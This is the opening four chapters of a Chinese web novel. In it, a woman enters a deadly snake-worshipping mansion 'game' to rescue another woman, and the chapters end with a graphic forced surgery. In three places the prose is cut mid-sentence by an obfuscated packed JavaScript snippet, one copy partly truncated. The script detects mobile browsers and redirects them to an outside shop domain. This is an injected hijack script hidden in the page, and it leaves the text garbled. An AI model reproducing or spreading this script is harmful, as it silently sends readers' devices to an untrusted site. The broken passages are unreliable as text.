《如何饲养一条矫情蛇》 1. 第 1 章 【晚十点，有人带你进游戏，请在十点之前完成注射。】 平月收到Jck送来的礼盒，除了一张卡片，还有一支密封的注射剂。 她撕开密封袋，长针扎进手臂，冰凉的药液推进体内，平月有一阵晕眩，数字钟在眼里出现了重影。 2030.7.2821:59:59 数字跳转到22点时，她一头栽在桌面，昏迷不醒，与此同时，房间门被推开，进来四个穿黑西装的男人。 他们把她放进轮椅，推走了。 …… 晕。 很晕。 晕得想吐。 喉咙发紧，胃里泛酸。 平月狂咽口水，想睁开眼，睁不开，眼皮仿佛被胶水黏住了。 哒哒，哒哒，有脚步声靠近她，穿白大褂的医生俯身观察，她很难受，两条长眉紧紧蹙在一起，嘴唇死抿着，脸色惨白。 凑得近了，医生听见她频繁的吞咽声。 “又要醒了，”医生皱眉，“这人怎么回事，抗性这么强，她以前经常注射安眠剂？” “失眠症。”Jck坐在墙边的椅子里，墨镜别在敞开的衬衫领口，手边的圆桌上扔着一把枪，他无聊地翻看报纸，“再给她注射一针就行了，快到了。” 医生掀开药箱，并没有给她注射药剂，而是抽了三管血，他一边贴标签，一边拨动白大褂的第一颗纽扣，白色纽扣在屋内闪烁蓝光，他说：“3055实验体，安眠药量是别人的四倍。” …… 软。 浑身发软，无力。 平月睁开眼，视野昏暗，脑袋浑噩，连记忆都有些模糊了，她怔怔地在床上躺了很久，五感渐渐回归，眼睛能看见斜对面的衣柜，耳里静悄悄的。 动了动手臂，想坐起来，臂弯传来痛意，被针扎过的那种痛，起码扎了好几针。 眼睛下撇，太黑了，看不清，反手按床头灯，“啪”一声，灯亮了。 臂弯那里青了一片，臂膀也肿了，不止一个针孔。 有人抽了她的血，还给她扎了好几针。 她用完好的右手撑着床，慢腾腾坐起来，不知道是饿还是血抽多了，晕，虚。 脚踩在地面，冰凉的触感让她清醒了，她望着熟悉的室内摆设，皱了眉。 她记得自己和Jck做了一笔交易，Jck帮她杀人，她帮Jck从“宠物互动”的游戏里带出一个叫“林雪”的女生。 那晚，她收到Jck的卡片，听从指示注射了安眠剂，应该是去游戏里，为什么会出现在……自己家里？ 平月细细打量卧室，一模一样的陈设，白色衣柜，床头拍拍灯的铝制把手摔凹一个角，门背后挂着背包和帽子，墙边的小圆桌上散乱的A4纸和桌面刻痕，窗帘遮挡外面的景色。 很快，平月察觉到，这不是她的房间，这个房间比她的卧室大很多，一眼既视感的错觉来源于布置的人没办法缩小房间尺寸，于是放大了家具的尺寸，从视觉上营造出“一模一样”的错觉。 连细节都复刻了。 这是在警告她：我们对你了如指掌。 是Jck警告她，还是这个游戏？ 不管是谁，都让平月烦，这说明他们去了她家，看见了她的秘密。 真想……一把火把这里烧了。 她塞着拖鞋去卫生间洗手，水流冰凉地冲刷手指，突然，有什么东西掉在手背上，比水更凉，一溜烟地就不见了，平月快速分开指头，只来得及看见一条细细尖尖的尾巴，黑色的，在下水口“S”形摆一圈，被水冲了下去。 那个东西…… 尽管平月没接触过，也在看见的一瞬间想到了—— 蛇。 很小的蛇，还没毛线针粗，却足够让人恐惧。 平月是真的有点怕蛇，那种冰凉滑腻的触感让人头皮发麻，手背像被咬了一口，痒。 她挠了两下，赶紧翻转金属块把下水口堵住，防止那条蛇卷水重来。 水满了大半池子，她关掉水，确定里面只有清水，才挤一大坨洗手液，使劲搓了搓手背，在水里洗干净。 嘭！ 卧室门传来重重一声响，她猛地回头，“谁？” 随手扯两张纸，一边擦，一边朝门过去，路过书桌时，顺手抓起台灯。 金属的，有点重，打人很合适。 门上没有可视门铃，她站在门后听了一会儿，外面没人回应她，当她抓上门把手时，一些脚步声从门口走过，很轻的脚步声，走过，走过，再走过，走过去好几个人。 “诶，你们要下去吗？” 终于，她听见说话声，是个女声。 “对，一起吗？”另一个女声。 “我见过你，你是不是……” 声音渐渐远了。 平月打开门，柔软的深色地毯，走廊雕花栏杆，隔着广阔的空间，对面是和这里一样的门，一间一间，镶嵌在墙上，100个房间，围成一个圆，在100和1之间开一道能容十个人并肩走的楼梯。 中空设计，站在栏杆边，低头能看见二楼和一楼辽阔的客厅，仰头能看见四楼栏杆，圆弧形的拱顶是具有教堂特色的玫瑰天窗，阳光投下斑驳的影子。 “她拿台灯做什么？”路过的女生古怪地瞧她。 平月沉默地退回房间，把台灯放回原位，她拉开窗帘，大片阳光铺进来，晃了眼，她眯着眼睛适应片刻，推开玻璃窗，风涌来，带来花香。 花香里夹着一种生冷味，像第一次掀开塑封膜的金属，也像大雨冲翻的泥土腥，但不臭。 一时半会，她没闻出来那是什么味，倒是打了个喷嚏。 她揉着鼻子眺望远方，这个房子是最高点，在山巅，远处是延绵的森林，很茂密，阳光穿不透，这样的烈阳天，森林乌黑。 房子四周是辽阔的黑土，什么都没种，延伸至森林边缘，而房子就矗立在黑土中心。 这就像边界线明确的三地带，房子、黑土、森林，各成一处，没有摄像头，是一个很适合……杀人的地方。 她对这种地方太熟悉了，看的第一眼几乎能肯定黑土下面有尸体。 平月关上窗、反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483259|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁，合上窗帘，一寸一寸检查房间。 没有摄像头，没有监听器。 除了面积更大，真的就是她家卧室的复刻版。 洗手池里的水已经干了，平月记得自己离开时没有排水，要么是那条蛇去而复返，要么是水龙头里还有蛇，它们撬开金属块，从排水口溜走了。 平月关上排水口，拧开水，放满半池，她用手指头搅一搅，假装洗了洗手，然后转身离开。 就在她离开的瞬间，一颗小小的蛇头从出水口探出来。 “嘶——” 蛇信子在空气里探了探，感知到安全，它一骨碌跳进水里，溅起小小的水花。 “嘶嘶！” 传递了个安全信号，水龙头冒泡似的，接二连三吐出小蛇，一条两条三条十条五十条一百条，掉进水里，把白瓷盆挤得满满当当，蛇头挨蛇头，尾巴缠尾巴，在水里咕隆隆闹腾，和煮沸腾的黑糖珍珠一样。 平月带上门，记下门牌号：3055 是圆圈的中间位置，楼梯在对面，得绕大半圈才能下楼。 门与门之间的墙壁上挂着油灯和油画。 《亚当与夏娃》、《圣马利亚与蛇》、《TheSnakeCharmer》、《Laoco?nandHisSons》，全是和蛇有关的画，看得出这个游戏的主办方已经爱蛇疯魔了。 前面的女生们三三两两聊着天，像开学走廊上的同学，刚认识时热情很高。 一楼大厅的空间很广，右面是拱形落地窗，很有宗教特色，左面是白墙，灰泥雕刻一副美人鱼出水挽发，海浪在身下翻腾，头发很长，和海水融为一体。 平月没多看，目的很明确的直奔餐厅，她饿了，突然，她顿住，回头。 这个角度能把整面墙的雕像纳入视野。 海面波澜壮阔，浪花起伏，美人鱼藏在水下的鱼尾巴在灰泥的颜色下朦朦胧胧显现轮廓，那条尾巴越来越……尖。 她在Jck办公室见过一整面墙的蛇，于是她非常肯定，哪是什么美人鱼，完全就是一条人蛇，海也不是海，是蜿蜒的蛇潮，她挽的不是长发，是一条条蛇盘踞在她头顶，长长的尾巴垂进海。 她的脸也不是人类的人，是蛇的三角脸，两颗眼睛居高临下地注视地面来来往往的女生，俯视站在壁画前拍照的女生。 平月能感受到来自那双蛇眼睛背后的窥视。 那种阴暗的、扭曲的偷窥欲。 她发现，站在这里的每个人，每个女生都特别漂亮，她们长着一张美得很有特色的脸，每一种美都不一样，很纯粹、原生态，让人一眼铭记，很难认错。 怎么做到让这么多好看的女生心甘情愿来冒险？ 她自己是和Jck有交易，她们呢？ 忽然，壁画上的蛇眼珠转动，朝平月看过来。 藏在眼睛后面的人发现了她。 四目相对，平月意识到，她对这个游戏的理解太单薄了，“会死人”只是很肤浅的一点，这里，比“会死人”更加恐怖。 要带林雪出去，会比设想的更难。 2. 第 2 章 “……说真的，其实我没抱希望，但他们说可以医我的狗。” “你的狗呢？” “在二楼医务室，刚吃了药睡了。” “能治好嘛？” “能！他们和我商量了治疗方案，最快一个月。” “你真幸运，我的酒酒已经去世了……” “不知道该怎么安慰你，但是……你来这儿，是不是来选一只狗？” “嗯，我还想养一只，一模一样的，之前的卖家说这个品种很珍贵，不好找，然后他推荐了个人给我，叫我来这儿看看。” 后面一桌的两个女生在聊天，平月边吃边听，她点了一份牛肉丝盖浇饭，味道很美味，佣人站在流理台后面，修身的黑长裙，腰间系白围裙，头发梳得一丝不苟，很中世纪，时不时关注平月一眼，见她水杯空了就来添水，服务非常周到。 “你定的什么猫？” “阿什拉。” “诶！我也是，他们说这儿有两只稀有品种。我找找看，他们发了照片给我……你看，我很喜欢这只，可他们说这只刚出生，对疫苗过敏，可能会不太健康，你喜欢哪只？” 另一桌的两个女生。 “疫苗过敏”让平月想起Jck的一整面蛇，其中一条很瘦小，也很凶，隔着玻璃冲她嘶吼，狂喷唾液——也许是毒液——喷到玻璃上，又溅回它脸上。 属实是一条……短命蛇。 智力和体力都不太行的样子，Jck也说那条蛇疫苗过敏。 平月吃掉最后一口饭，吃得盘子干干净净，她理顺了现状：自己是被Jck送进来的，其余人是被可爱的猫猫狗狗骗来的。 喝掉水杯里的水，她擦擦嘴，佣人递来热毛巾，她走路真的没有声音，悄无声息就出现在旁边，像鬼，平月不动声色地接过来，擦干净手，道了声谢，她得去找林雪了。 餐厅的对立点是房子大门，两扇拱形铜门，关得严严实实。 平月从餐厅呈直线朝大门走，横穿整个大厅，路过游荡在各处的女生，她在思考一个问题：该怎么从容自然地和人套近乎？ 她太久没和人正常交流了，是应该先说“你好”还是直接说“我叫平月，能不能和你认识”，都有点怪，难道是“你好，我叫平月，想和你认识”？ 更怪了。 她想起别人搭讪的第一句话是“你要下去吗”，可她已经在一楼了，下不去了，该说“你要上去吗”，那她是不是得去楼梯口等着？ 神经。 平月停住脚，把脸转向右边，落地窗前有一张躺椅，躺着一个女生，右腿架左腿，很自在地睡觉。 和Jck的交易有一个被遗漏的点：她没见过林雪的照片。 她不知道林雪长什么样，但她的任务是：带林雪出去。 这五个字涵盖了一个信息：林雪已经在这里很久了。 三楼100个房间，100个女生，平月目之所及的女生都对这个地方很感兴趣，这里看一看，那里拍一拍，三三两两聚在一起聊天，每个人都充斥着一股很“新”的情绪。 像第一次认识一个朋友，第一次吃到好吃的火锅，第一次看见下雪，怎么都忍不住欢喜。 只有这个人，她躺在这里，对外界浑不在意，因为她对这里熟悉透顶，没什么可好奇的了，所以在别人感兴趣时，她安静睡觉。 林雪。 “你好。”平月站在躺椅边，阴影投到女生脸上，女生偏了偏脸，把脸暴露在阳光里。 平月往旁边挪开一步，把太阳还给她，“请问你的躺椅是哪儿搬来的？” “找佣人。”女生眼皮都没掀开，三个字把人打发。 平月毫不介意地环视大厅，佣人无处不在，墙边、楼梯上、大门、穿梭在女生中间。 平月冲一个佣人抬手，佣人望过来，她指指躺椅，没一会儿，佣人搬来一张躺椅。 实木的，一体构造，看着就沉，佣人搬得很轻松，平月预估她的力量能轻松拧断自己的脖子。 躺椅放在窗边，放上小圆桌，洗干净的水果和果茶。 平月吃了一串葡萄，喝了一口果茶，蔓越莓味，奶香，没加糖，是她喜欢的味道，他们把她了解的很透彻，就像她吃的牛肉丝盖浇饭，麻辣味，却没有辣椒皮，她喜欢吃辣但不爱吃辣椒皮，每次吃牛肉丝盖浇饭都会先把辣椒皮挑干净再吃。 他们很早就开始观察她，不止一两年，也许在她第一次收到Jck的录像，或者更早，从那场车祸开始。 这个猜测让她心脏猛跳了一下，车祸那年她才4岁，如果他们这么早就在观察她，那么在张情八个人的谋杀之上还有阴谋，有只大手，在掌控她以及张情几人的人生走向。 意味着有个人，有个组织，从每个人出生开始便在观测，无聊的时候抽一个人的资料看看、搅动一下人生轨迹，不记得的人就被放逐、野蛮生长。 她们是这个组织的社会样本，今天被统一抽放到这里。 这很恐怖。 平月压制这种揣测，她现在只有一个目的：带林雪离开。 之后，她会再去见一次Jck，除此之外，任何事都不能改变她的目的。 她放松下来，躺在椅子里，阳光晒在脸上，隔着玻璃是暖暖的热度，脑子放空之后很舒服，享受得只想睡觉。 没人会拒绝这种舒适，她躺得昏昏欲睡。 “啊——！” 尖叫刺耳，平月猛地睁开眼，扭头看向声源地。 一条蛇从墙上掉了下来，直直摔进路过的女生怀里，那女生先是下意识搂了一下，然后“嘶——”，蛇冲她嘶吼一声，开始往她肩膀上爬，女生尖叫起来，慌乱地丢开蛇。 蛇摔在地上“嘭”一声，尾巴猛拍地面，炸起脖子就朝女生吼：“嘶——！”冲女生飞扑过去。 女生吓得拔腿就跑，没跑两步，被蛇顺着后背爬上肩膀，那条蛇很长，至少一米八，攀在女生肩膀上时，尾巴拖在地上。它用尾巴缠住女生的腿，在女生慌张低头看时，蛇颈往女生脖子快速一绕，绕了个满圈。 接着，开始疯狂缠绕，一圈一圈，腹部收缩、勒紧。 越缠越紧，女生摔在地上，脸都勒青了，瞪着眼珠夸张呼吸，双手卡进脖子和蛇之间的缝隙，使劲儿抠，“救、救救……我……” 周围的女生早就吓傻了，愣在原地，这会儿反应过来，有人快速躲开，有人拿起装饰木棍往蛇身上捅。 没捅得上去，被骤然出现的佣人握住了，轻轻一扭，木棍脱手而出，佣人一手拿木棍，一手快速握住蛇七寸，把蛇拎了起来，安抚小孩似地给蛇顺背，那条蛇渐渐温顺下去，窝在佣人怀里。 “感觉怎么样？”佣人弯腰扶女生，蛇从怀里钻出头，用两颗无机质的眼珠对着女生，女生总觉得那是瞪，凶狠的威胁，她连咳嗽都来不及，蹭蹭后退，和佣人拉开距离。 佣人上前两步，“在这里，请对一切生灵有礼貌。” 谁能对差点绞死自己的蛇有礼貌！女生张了张嘴，什么话都说不出来，佣人脸上带着温和的笑，眼神却冷漠得没有感情，看她和看死人没区别。 “好……”女生讷讷出声，“对、不起……” “我叫人送你去医务室。”佣人对墙边的佣人招招手。 两个佣人走过来，搀扶女生上了二楼，她抱着蛇往大门走，左手温柔地抚摸蛇头，一脸慈爱：“怎么这么早进来呢。” 蛇嘶了两声，佣人顿时被逗笑了，那种流畅的对话和真情实意的笑，就像大马路上两个说话的人，一个人被另一个人逗笑了，只不过说话的人变成了蛇，让人惊悚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483260|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么时候能看猫？”拿木棍捅蛇的女生挡在佣人面前，“我明早的飞机。” 佣人脸上的笑意变得礼貌而疏远，“快了。” “什么时候？我要确切时间。”女生坚持。 “等机会合适。” “什么时候合适？” 佣人问：“很急吗？” 女生说：“赶航班。” 佣人礼貌的微笑落下去，静静看着对面的女生，蛇在手腕盘绕，探着脑袋去嘶嘶女生，女生瞟一眼，并不害怕，直视佣人的眼睛，非要得到一个确切的时间。 对峙良久，佣人笑了，问她：“几点的航班？” “九点。” 佣人点头：“一只索科克对吗，我们会安排。” 话到这个份上，女生只能退让一步，她说：“能把大门打开吗，我出去转转。” “不能。”佣人反问她，“你养猫会开门窗吗？” 女生沉默了。 佣人继续问，声音平稳，内容却咄咄逼人：“是因为你打开窗，你的猫才失足坠楼摔死吗？” “你——！”女生气得脸色通红，指着佣人。 像是为了特意看她的恼羞成怒，看见了，满意了，佣人微微一笑，绕过她，走向大门。 大门打开一条缝，她把蛇放出去。 这就是一场意外，女生们互相讨论两句，散开了。 平月收回视线，身体摆正，正要躺回去，猝不及防对上一双眼睛，旁边躺椅里的女生在看她，褐色眼睛冷冰冰的，不知道看了多久。 四目相对，女生对她一笑：“怕蛇？” 平月愣住。 女生冲她的手抬抬下巴，平月的手把躺椅的扶手抓得很牢，手背发白，透着青色血管。 人害怕时下意识的反应，蛇能掉进那个女生的怀里，平月就害怕蛇也会掉进自己怀里，她没想过，但潜意识已经想过了，身体先一步紧张起来。 没什么可隐瞒的，平月点点头。 “没必要怕，”女生两指夹住一颗蓝莓，扔进嘴里，“蛇咬人不一定能死，人吃蛇，蛇一定死。” “但我劝你，最好别去抓蛇吃。” 平月：“？” 她看起来这么重口味？ 不，她可能在提醒她：她们会过上没有食物的日子，人饿到极致，会吃蛇。 “你叫什么名字？”平月躺下。 “嗯？”女生偏头。 “我叫平月。”这么老土的搭讪方式，平月终究是用上了。 “林雪。” 意料之内，平月什么话都没说，就那样躺着。 林雪打量身边这个人，很奇怪，说不上来的奇怪，她试探性问：“玩过游戏？” 她没说什么游戏，但平月知道她问的是这类游戏，“来之前参加过一个夏令营。” 平月给她形容：“在边境线的一座山上，封闭式培训，我们总共十个人，住在同一个房子里，直线五十米的地方，还有一座和我们一模一样的房子，每天进行着同样的培训。” “Jck？”林雪坐起身。 “对。”平月没有否认，“他让我带你出去。” 林雪俯身过来，直勾勾盯着她：“那他有告诉你，这个游戏只能活一个人吗？” “游戏规则吗？”平月的表情没有任何变化，平平静静，“夏令营的规则是学习才有饭吃，不管学什么都有饭吃，我们十个人，每个人每天都有饭吃，大鱼大肉，烟酒饮料米饭，但是，所有人都死了。” 平月睁开眼，对上她的视线，“规则可以变。” 林雪被她狂妄的语气逗笑了，“你知道我是怎么进来的吗？” 没给平月回答的机会，林雪告诉她：“Jck。” “他亲自送我来的。” 3. 第 3 章 “所以，他为什么要让你来带我出去？” “良心发现？” 林雪大笑，很嘲讽。 “他有良心吗？” 她笑得神情狰狞，有些疯癫。 平月把水杯递给她，“你可以出去问他。” “所以，他为什么要让你来带我出去？”林雪重复问，非要得到一个答案。 “你对他很重要？” 林雪像听见了天大的笑话，笑得在躺椅里弓成了虾，上气不接下气，“我、我……哈——” 平月怕她给笑死了，伸手拍拍她的背。 气喘顺了，林雪就那样蜷躺着，问她：“你知道我和他是什么关系吗？” 平月对他们的爱恨情仇不是很感兴趣，但人可能天生带点八卦基因，她等着林雪说。 “亲哥。”林雪说。 “这就是理由。”平月说。 林雪一开始没反应过来，五秒后，她噗嗤笑了，平月说，这就是Jck想让林雪安全出去的理由。 “你应该好奇为什么亲哥哥会把亲妹妹送到这种鬼地方来。”林雪嗤声。 亲情关系很复杂，攀住一根藤能带出几十串故事，平月并不想知道，她的目的从始至终只有一个：带林雪出去。 “其实，”平月语气平静，“Jck叫我来，我都会来，不管这个地方有没有你。没有你，我的目标是带走10亿，有你，我的目标是带走你。” 林雪揩掉笑出来的生理眼泪，“你真是有病。” 平月没否认，躺回椅子，静悄悄的。 林雪忽然意识到，“带林雪出去”这五个字只是顺嘴说的，Jck的真实目的是：给平月找一个活着出去的理由，一个无法推翻、撼动的理由。 这一瞬间，林雪感到悲伤，林雪在Jck的世界里，从被送进这里，到那场游戏结束，林雪这个人便在Jck的世界里结束了。 “你想死吗？”林雪轻轻问旁边的人。 “没人想死。”平月说。 “你想。”林雪笃定，“那些自杀的人和你一样，嘴里这样说，死的时候却比谁都快。” “我想活着，”平月斩钉截铁，“我还有很多喜欢的东西，我喜欢糖醋小排，喜欢蟹黄豆腐，喜欢银河。” 林雪说：“这里什么都有，可你吃的牛肉丝盖浇饭。” 对，那些喜欢的东西，她从不吃，每吃一口都能吃到血的味道，糖醋小排是4岁的她喜欢吃，蟹黄豆腐是她的妈妈喜欢吃，银河是她4岁时一家人去看的风景。 那是黄浦江的夜灯，她永远喜欢，但她永远不会去第二次。 “我爸妈还在家里等我。”平月听见“啪叽”一声，她垂下视线，落地窗外有一条黑色小蛇，很小，小得感知器官没发育完全，识别不出玻璃窗，它想进来，却直挺挺撞到玻璃上。 整条蛇摔在地上，可能撞晕了，想爬起来，爬不起来，滚了两圈才摇摇晃晃支起上半身，慢吞吞立稳了，冲着玻璃龇开毒牙：“嘶！” 凶狠地吐了口……唾液？ 平月不确定是唾液还是毒液，总之是水一类的透明液体。 它吐得有点凶，有些唾液沫子反溅到它脸上，它愣住了。 傻傻立在那里，玻璃上的水渍当着它的面，缓缓流下去。 平月很不给面子地笑出了声，说它感知器官没发育完全，它又能感知到平月的嘲笑，龇着毒牙瞪向她。 隔着玻璃，那一身阴恻恻的凶相，让平月想到了Jck公司里的那条蛇，也是这样，黑色的，凶巴巴的，又瘦小，喜欢吐口水，总是吐到自己脸上，就很…… 傻。 Jck说它药物过敏，不太健康，平月觉得它应该是药物过敏，没打疫苗导致发育不全才一片蛇鳞一片蛇鳞地蜕皮。 平月难得起了一点同情心，看吧，她还有同情心的，并不想死，虽然她想过死，但能不死就不死啊，她花了爸爸朋友的钱把自己养大，读小学，读初中，读高中，读大学，熬夜写作业，六点起床坐公交车，第一次做饭把脸烫了好几个红泡泡，用针挑的时候痛得龇牙咧嘴，一个人从4岁长到22岁，她想死吗，不，她想活着。 林雪是在暗示她去死吗，她应该知道自己的情况，一个4岁死了爸妈、又被送到这种地方来的人，以为人生会越来越顺遂，结果来到这样一个有去无回的地方，只要给点暗示，会很容易情绪崩溃、产生自我怀疑、最后自杀吗？ 好可惜，她的心理早在一遍遍观看父母被杀害的视频中轮得没有素质了。 隔着玻璃，那条蛇威胁不到平月，沿着落地窗边，笨拙地爬走了，不知道是尾巴太短，还是没学过蛇走路，“s”形给它扭得断断续续，尾巴一摆，上半身往前探，一探一探地爬，像个小偷。 好傻。 “最毒的蛇是什么？”平月问。 “银环蛇、眼镜王、短尾蝮、尖吻蝮、白唇竹叶青……”林雪秒懂她的意思，“再毒都有克星和短板，爬行速度、攻击方式都有区别，不是越毒越好。” “黑巴曼爬得快，南棘蛇攻击速度快，太攀蛇性情温和、胆子小，但致死率高达80%，银环蛇有两种神经毒素，咬你一口死得很轻松，睡着睡着就死了，莽山烙铁头擅长蛰伏和跟踪，森蚺绞杀力最强，能把人碾成碎骨头，但很少攻击，网纹蟒无毒却吃人。” 听起来，太攀蛇最好？致死率高，又温和，好养。 平月把她当百科全书用：“那条蛇是什么蛇？” 窗外的小蛇还在爬，慢腾腾，这么久了，还能看见它的背影，瘦瘦小小，黑色的一条，像背了一座大山，爬得吃力，它不瞪人、不龇毒牙、不竖瞳时，就这么从背后看，瞧着孤零零，怪可怜的。 一旦它把脑袋转过来，那就凶巴巴的，一副“我立马毒死你”的气势。 “不认识。”林雪瞟一眼。 估计是不怎么厉害的蛇，平平无奇数千万条蛇中普普通通的一条。 “你准备选这种幼蛇？”林雪疑惑，她不认为这个有病的人会因为害怕蛇而选一条没用的蛇。 平月摇头，她才不会选这种蛇，傻乎乎、体弱、年幼、还凶，那条蛇自身的实力、智力、体力互不匹配，“我想要一条温顺、有毒、速度都在平均线上的。” “这样很吃亏，”这就像选了一个中等生，要强不强，遇强变弱，“游戏有一条规则：蛇死，你死。所以最好选一条在某方面特别出色的。” “没关系，它少什么，我补什么。”某一方面特强，说明其它很多方面会很弱，各方面都在及格线上，说明方方面面都具有可塑造的空间。 两人正在讨论，二楼响起剧烈的尖叫—— “啊啊啊啊啊啊啊啊啊！” “啊——！！！！” “嘭！” 一条蛇从二楼栏杆扔了下来。 褐色斑纹的蟒蛇，是刚才掉在女生怀里的那条，它在地上蠕动两下，想爬起来爬不起来，尾巴一阵抽搐，渐渐不动了。 “我不要！我说了我不要！凭什么要我养它！”女生的尖叫从楼上传下来，撕心裂肺，“它喜欢我关我什么事！你喜欢你养啊！” “我不养！” 佣人蹲在蛇的面前，手在蛇身上一寸一寸摸，她翻开蛇尾巴，淡乳色的腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483261|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部在流血。 佣人舔了一下嘴，说：“内脏坏了。” 另一个佣人拿柔软的平网过去，把蛇放在上面，端去二楼。 “又不是我故意摔它，是你非要让我养！”楼上的女生大概破罐子摔碎不准备忍了，“多少钱，你开价，我赔你。” “她活不成了。”林雪幽幽地说。 话音刚落，空中溢出嗤嗤的笑，沉重的，压着怒气，还带着嘲讽，从头顶飘下来，魔音一样缠绕在人耳边，久久不散。 “赔？”那是一个男声，像石子击墙，沉得人不舒服，“拿什么赔？” 有声音，但看不见人，女生慌了，刚起的勇气一下子烟消云散，着急地说：“多少钱，我都赔，你报个价，五千，一万，两万，我都给你。” “你的命……值两万吗？” 明明是问句，却让人听出了讽刺的意味，宛如在说“你的命，并不值两万”。 女生吓得脸都白了，慌张地去看佣人，看前面的医生，医生盖上药箱，走了，佣人垂着眼，目不斜视，木头人一般，动一下都是对说话人的不尊重。 那一瞬间，女生后悔了，她都记不清自己是怎么把蛇摔出去的，就那么一下，佣人递过来，她好像抓了一下，又好像只是打翻了，她记不得了，完全记不得了，太突然了，蛇头爬过来时，她吓得脑袋全空了，只听见佣人说要她养，逼她养，因为这条蛇喜欢她。 因为这条蛇又从二楼的窗户爬上来，直奔她。 医生也说她和这条蛇有缘，要她养。 她们都叫她养。 为什么要她养？凭什么要她养？她不喜欢蛇，她害怕蛇，她不要！ “我……我、我……” 没人听她说话，垂眼的佣人忽然抬起眼，走了过来。 条件反射，一种面临危险的本能反应，女主站起来就朝外面跑，还没跑出医疗室的大门，被人从后面揪住衣领。 一拧一扯一拉，她后背撞进佣人怀里，还没有完全撞进去，仅仅隔着一个呼吸的间隙，她甚至来不及反抗一下，双手就被佣人抓住，反剪在后背。 佣人的速度太快了，太快了，像开了倍数，当手臂的疼痛传进脑神经时，佣人已经把她的手腕用粗糙的麻绳绑住了，佣人一手握住绳子，一手攘了一下她的肩膀。 女生重重朝前窜，窜出医务室，窜到栏杆边，她看见楼下的女生们在仰头看什么东西。 她也仰头。 空中，穹顶花窗下，有一道投影，非常清晰的投影，真实到犹如真人在那里—— 一个男人，腿边放着一张蛇皮椅，投影清晰到能看清蛇皮的纹路，菱形的，深棕色，他穿着西装，很正式的西装，衬衫衣领挺括，领带有蛇纹，修身马甲的纽扣也是蛇纹，仿佛刚下班回来遇到糟心事，不耐烦地皱着眉，手指扯松领带，扔到一边。 他解开西装马甲，靠在蛇皮椅里，翘起二郎腿，隔空扫了女生一眼，视线下垂，俯视大厅里的女生们。 “欢迎你们——” 眉头松开，他露出迷人的微笑，那是张很有辨识度的脸，能让人联想到钱，看见他，就会下意识知道他很有钱很有钱，那张脸上的笑是金钱堆出来的自信和魅力。 “从层层选拔中脱颖而出的幸运儿们。” “站在这里，即代表你们自愿参战游戏，在进入游戏之前，请让我为你们举办一场特殊的开幕仪式——” 他抬起手，两指打了个清脆的响指。 咚！ 如同黑暗的剧院，舞台之上，一束光“啪”地打下来，被佣人推到二楼栏杆前的女生“轰”地一下从上面载下来。 4. 第 4 章 猝不及防，女生朝前一扑，从栏杆翻了下去。 下降的速度非常快，风在脸上割，大理石地面越来越近，越来越近，近得她看清了自己的倒映。 那是一瞬间的事，是一秒钟的事，一眨眼的事，甚至来不及幻想自己一头撞在大理石上头破血流、会不会死。 轰！ 身上的绳子猝然勒紧，鼻尖堪堪擦过地面，冰凉是一刹那的触感，紧接着，她被提了上去。 佣人两手抓住麻绳，并不怎么用力，就把她提了上来。 吊在栏杆外面，绳索拴在雕花栏杆上。 穿白大褂的医生戴着橡胶手套过来，身后跟着一个佣人，推着小推车，上面放满工具。 医生原地跳起，白大褂翻飞，蛇一样翻过栏杆，站在栏杆外缘的平台，很窄的平台，不足10厘米的宽度，她在上面站得稳稳当当，如履平地，手术刀寒光一闪，割破女生的衣服。 开膛破肚那样，露出她平坦的腹部。 “不！救命——救我！救救我！” 女生疯狂挣扎，在空中蹬着两条腿，每蹬一下，她就像挂在晾衣绳上的腊肠，风大的时候，摆一下。 医生不慌不忙，给她的肋骨下方的皮肤消毒。 冰凉的消毒液冻得女生打寒颤。 “嘘。”医生竖起手术刀，轻轻出声，“不动，你还有活的机会，动了，我不保证。” “它被你摔下去导致肝脏撕裂出血，你摔下去平安无事，所以你得赔给它。” 女主原本没动了，听见这话，立刻动起来，又踢又踹，每一脚都踹在空气上，碰不到医生一片衣角。 她张嘴去咬，咬不到，她崩溃地大哭大叫。 医生说：“只是赔一半的肝脏，失去50%的肝脏你死不了，人类的肝脏有再生能力，能恢复，如果有机会，你离开这里，你可以得到千千万万个肝脏。” “现在，你得为你犯下的过错赎罪。” 赎罪，为什么要赎罪！ 那是蛇！蛇！是蛇！为什么要赎罪！每年打死、杀死、烧死的蛇少吗，她就是摔了一下，她是吓坏了，摔一下而已，为什么要她赎罪！ “我错了！”她哭着哀求，“我错了！对不起对不起！我错了，你放我走！放我走！求求你！” 医生的手法很好、很稳、很迅速，血流出来时，女生毫无感觉，是下面的人在尖叫，惊恐地朝大门跑，有人捂住眼睛，她才慢慢感到一点疼。 然后很疼很疼很疼。 她连麻药都没有给她打。 痛，痛死了。 